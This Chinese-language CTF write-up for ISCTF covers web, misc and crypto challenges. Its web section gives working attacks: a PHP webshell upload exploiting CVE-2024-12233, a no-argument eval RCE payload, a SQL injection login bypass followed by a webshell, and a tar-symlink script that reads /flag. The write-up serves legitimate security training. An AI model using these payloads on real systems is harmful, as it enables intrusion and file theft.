Web:
b@by n0t1ce b0ard
在你以后的 CTF 历程中,你会遇到不少的大型 php 项目审计。
然而,大多数情况下,你不一定需要完全自己审计出一个原创的漏洞(0day),而是可以利用已有的漏洞进行攻击(nday)。
CVE 是这个世界上最大的漏洞数据库。复现 CVE 是每一个 web 手不可或缺的能力。接下来,尝试用好你的 google,去复现一个已经发布的 php 项目漏洞。
CVE 编号:CVE-2024-12233
1.CVE漏洞信息检索

2.阿里云漏洞库存储信息

3.搜索到出题人的Github

4.漏洞分析
漏洞文件:
ingistration.php
描述:
攻击者在通过个人资料图片上传时,可以上传恶意文件。
上传的个人资料图片不受任何限制,并将存储在 /images/{USER-EMAIL}/{UPLOAD_FILENAME} 中
黑客可以上传 .php 文件,例如访问 /images/{USER-EMAIL}/malicious_php_file.php?1={any 命令 HERE} 执行任何命令。代码分析
编辑.php第36-37行
mkdir("images/$e");
move_uploaded_file($_FILES['img']['tmp_name'],"images/$e/".$_FILES['img']['name']);参数 $e 是用户注册时的电子邮件。
对上传的图像不予置换。

5.切换到漏洞页面

6.填写基本信息传入参数,直接抓包,构造请求包:
POST /registration.php HTTP/1.1
Host: challenge.imxbt.cn:31841
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Length: 1353
Origin: http://challenge.imxbt.cn:31841
Connection: keep-alive
Referer: http://challenge.imxbt.cn:31841/registration.php
Cookie: PHPSESSID=c4bbec0062a31eeea11a1ae7a320f862
Upgrade-Insecure-Requests: 1
Priority: u=0, i
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="n"
test
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="e"
test@qq.com
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="p"
test
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="mob"
1111
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="gen"
m
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="hob[]"
reading
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="img"; filename="basic_webshell.php"
Content-Type: application/octet-stream
<?php @eval($_GET['attack']);?>
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="yy"
1950
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="mm"
2
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="dd"
3
------geckoformboundary410fb727813a59a05c4c5aa712f76916
Content-Disposition: form-data; name="save"
Save
------geckoformboundary410fb727813a59a05c4c5aa712f76916--

由于上传 .php 文件,例如访问 /images/{USER-EMAIL}/malicious_php_file.php?1={any 命令 HERE} 执行任何命令。其中的路径跟你输入的邮箱有关系,当时填的是test:
7.构造payload,拿到flag!
/images/test/basic_webshell.php?attack=system(%22cat%20/flag%22);
ezrce
如此ez的rce,补兑,怎么只允许这些?
1.进入页面,经典代码审计环节
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
$code = $_GET['code'];
if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
eval($code);
}else{
die('师傅,你想拿flag?');
}
} 
2.对PHP代码进行审计:
代码分析只允许大写小写字母、圆括号 ()、下划线 _、分号 ; ,过滤了引号决定使用无参数的执行方式
get_defined_vars()函数运行返回一个数组并且第一个参数是$_GET于是我们用current这个函数来获得第一个参数,再用end获得最后一个参数,比如对于eval(end(current(get_defined_vars()))),
current(get_defined_vars())得到$_GET数组,end($_GET)取$_GET的最后一个元素,即$_GET['b']="system('ls /');"相当于最后就执行了eval("system('ls /');")
3.构造payload:
?code=eval(end(current(get_defined_vars())));&b=system("cat%20/flag");4.传参拿到flag:

flag到底在哪
小蓝鲨部署了一个网页项目,但是怎么403啊,好像什么爬虫什么的
1.发现403结合题目描述,通过robots.txt协议发现了/admin/login.php文件

2.一个登录界面:

3.尝试利用万能钥匙绕过即可:
username:admin
password:' OR '1'='14.上传一个webshell:
直接用祖传的webshell后门文件即可成功传入

5.直接打payload,拿flag
?a=phpinfo();
flag?我就借走了
小蓝鲨建了一个资源站,它还很贴心的支持了多种文件格式,甚至能自动解压!小蓝鲨还是太贴心了
1.进入主页,发现是一个文件分享站

2.注意给出的提示我们可以看到网站是通过 python+flask 编写,那么我们正常就要尝试使用py文件尝试读取 /flag
理工生的同人文件分享站
这是我用业余时间用Python+Flask写的一个分享网站,希望你喜欢
支持上传.png .avif .webp .gif .jxl .txt文件
同时本站还支持上传打包格式,上传后会自动帮你解压到目录.
作为理工生,打包格式用tar不过分吧
3.其实一开始的时候我想到用SSRF的但是没有用,然后就想到可以研究读取/flag文件,利用文件系统的特性:
本题考点考察的应该是软链接
利用文件系统特性:符号链接的透明访问 利用Web服务器行为:自动跟随符号链接符号链接的特殊性:
符号链接只是一个"指向"而不是文件内容副本
读取符号链接时,系统会跟随链接读取目标文件
Web服务器通常会自动跟随符号链接
4.构造EXP脚本:
import tarfile
import requests
# 创建最简单的符号链接payload
with tarfile.open('exploit.tar', 'w') as tar:
# 创建指向/flag的符号链接
info = tarfile.TarInfo(name="flag")
info.type = tarfile.SYMTYPE # 符号链接
info.linkname = "/flag" # 指向根目录的flag文件
tar.addfile(info)
print("Payload创建完成: exploit.tar")
# 上传到目标网站
url = "http://challenge.imxbt.cn:31727/"
files = {'file': open('exploit.tar', 'rb')}
response = requests.post(url, files=files)
print(f"上传状态: {response.status_code}")
# 尝试访问符号链接
flag_url = f"{url}flag"
r = requests.get(flag_url)
print(f"访问flag链接状态: {r.status_code}")
print(f"Flag内容: {r.text}")
5.上传成功后直接访问文件即可拿到flag:
ISCTF{cd62c2ad-c7d5-416b-a65f-a95148071960}Misc:
Guess!
这是一个经典的猜数字,开始你的数字解密之旅吧!
1.打开exe文件,直接就是猜数字

2.照常猜数字就行:

3.直接拿到flag:
ISCTF{9ueSs_thE_@n$weR} Crypto:
easy_RSA
我们的爱情像欧拉函数p(n)一一无限趋近却永远达不到的完美互质,最终只剩周期性的怀念在模n的世界里循环证明
1..打开附件进行分析:
from Crypto.Util.number import *
p = getPrime(1024)
q = getPrime(1024)
N = p*q
e = 65537
msg = bytes_to_long(b"ISCTF{dummy_flag}")
ct1 = pow(msg, e, N)
ct2 = pow(msg, p+q, N)
print(f"{N = }")
print(f"{ct1 = }")
print(f"{ct2 = }")
"""
N = 17630258257080557797062320474423515967705950026415012912087655679315479168903980901728425140787005046038000068414269936806478828260848859753400786557270120330760791255046985114127285672634413513991988895166115794242018674042563788348381567565190146278040811257757119090296478610798393944581870309373529884950663990485525646200034220648901490835962964029936321155200390798215987316069871958913773199197073860062515329879288106446016695204426001393566351524023857332978260894409698596465474214898402707157933326431896629025197964209580991821222557663589475589423032130993456522178540455360695933336455068507071827928617
ct1 = 5961639119243884817956362325106436035547108981120248145301572089585639543543496627985540773185452108709958107818159430835510386993354596106366458898765597405461225798615020342640056386757104855709899089816838805631480329264128349465229327090721088394549641366346516133008681155817222994359616737681983784274513555455340301061302815102944083173679173923728968671113926376296481298323500774419099682647601977970777260084799036306508597807029122276595080580483336115458713338522372181732208078117809553781889555191883178157241590455408910096212697893247529197116309329028589569527960811338838624831855672463438531266455
ct2 = 11792054298654397865983651507912282632831471680334312509918945120797862876661899077559686851237832931501121869814783150387308320349940383857026679141830402807715397332316601439614741315278033853646418275632174160816784618982743834204997402866931295619202826633629690164429512723957241072421663170829944076753483616865208617479794763412611604625495201470161813033934476868949612651276104339747165276204945125001274777134529491152840672010010940034503257315555511274325831684793040209224816879778725612468542758777428888563266233284958660088175139114166433501743740034567850893745466521144371670962121062992082312948789
"""2.分析并构造exp脚本:(AI可以梭哈出来的其实)
from Crypto.Util.number import long_to_bytes
N = 17630258257080557797062320474423515967705950026415012912087655679315479168903980901728425140787005046038000068414269936806478828260848859753400786557270120330760791255046985114127285672634413513991988895166115794242018674042563788348381567565190146278040811257757119090296478610798393944581870309373529884950663990485525646200034220648901490835962964029936321155200390798215987316069871958913773199197073860062515329879288106446016695204426001393566351524023857332978260894409698596465474214898402707157933326431896629025197964209580991821222557663589475589423032130993456522178540455360695933336455068507071827928617
ct1 = 5961639119243884817956362325106436035547108981120248145301572089585639543543496627985540773185452108709958107818159430835510386993354596106366458898765597405461225798615020342640056386757104855709899089816838805631480329264128349465229327090721088394549641366346516133008681155817222994359616737681983784274513555455340301061302815102944083173679173923728968671113926376296481298323500774419099682647601977970777260084799036306508597807029122276595080580483336115458713338522372181732208078117809553781889555191883178157241590455408910096212697893247529197116309329028589569527960811338838624831855672463438531266455
ct2 = 11792054298654397865983651507912282632831471680334312509918945120797862876661899077559686851237832931501121869814783150387308320349940383857026679141830402807715397332316601439614741315278033853646418275632174160816784618982743834204997402866931295619202826633629690164429512723957241072421663170829944076753483616865208617479794763412611604625495201470161813033934476868949612651276104339747165276204945125001274777134529491152840672010010940034503257315555511274325831684793040209224816879778725612468542758777428888563266233284958660088175139114166433501743740034567850893745466521144371670962121062992082312948789
e = 65537
# 计算 N+1
N1 = N + 1
# 计算 a = e^{-1} mod (N+1)
a = pow(e, -1, N1)
# 计算 k
k = (e * a - 1) // N1
# 计算 ct2 的模逆
ct2_inv = pow(ct2, -1, N)
# 计算 m
m = pow(ct1, a, N) * pow(ct2_inv, k, N) % N
# 转换为字节
flag = long_to_bytes(m)
print(flag.decode())3.运行拿到flag:
ISCTF{Congratulations_you_master_Mathematical_ability}Ez_Caesar
小蓝鲨看你们牢底坐穿决定送你们一点分。
1.分析task.py文件
根据变种凯撒加密算法的分析,加密时位移量
shift初始为2,每加密一个字母就增加3。因此解密时需要根据字母的位置(第几个字母)计算对应的位移量,然后进行反向移位。
def variant_caesar_encrypt(text):
encrypted = ""
shift = 2
for char in text:
if char.isalpha():
if char.isupper():
base = ord('A')
new_char = chr((ord(char) - base + shift) % 26 + base)
else:
base = ord('a')
new_char = chr((ord(char) - base + shift) % 26 + base)
encrypted += new_char
shift += 3
else:
encrypted += char
return encrypted
# KXKET{Tubsdx_re_hg_zytc_hxq_vnjma}2.构造EXP:
def variant_caesar_decrypt(ciphertext):
decrypted = ""
count = 0 # 记录已处理的字母个数
for char in ciphertext:
if char.isalpha():
# 计算当前字母对应的位移量:第 count 个字母(从0开始)使用的位移为 2 + 3*count
shift = 2 + 3 * count
if char.isupper():
base = ord('A')
# 反向移位:原字符 = (密文字符 - base - shift) mod 26 + base
orig = (ord(char) - base - shift) % 26 + base
decrypted += chr(orig)
else:
base = ord('a')
orig = (ord(char) - base - shift) % 26 + base
decrypted += chr(orig)
count += 1 # 处理完一个字母,计数器加1
else:
decrypted += char
return decrypted
# 测试
cipher = "KXKET{Tubsdx_re_hg_zytc_hxq_vnjma}"
plain = variant_caesar_decrypt(cipher)
print(plain)3.运行即可拿到flag:
ISCTF{Caesar_is_so_easy_and_funny}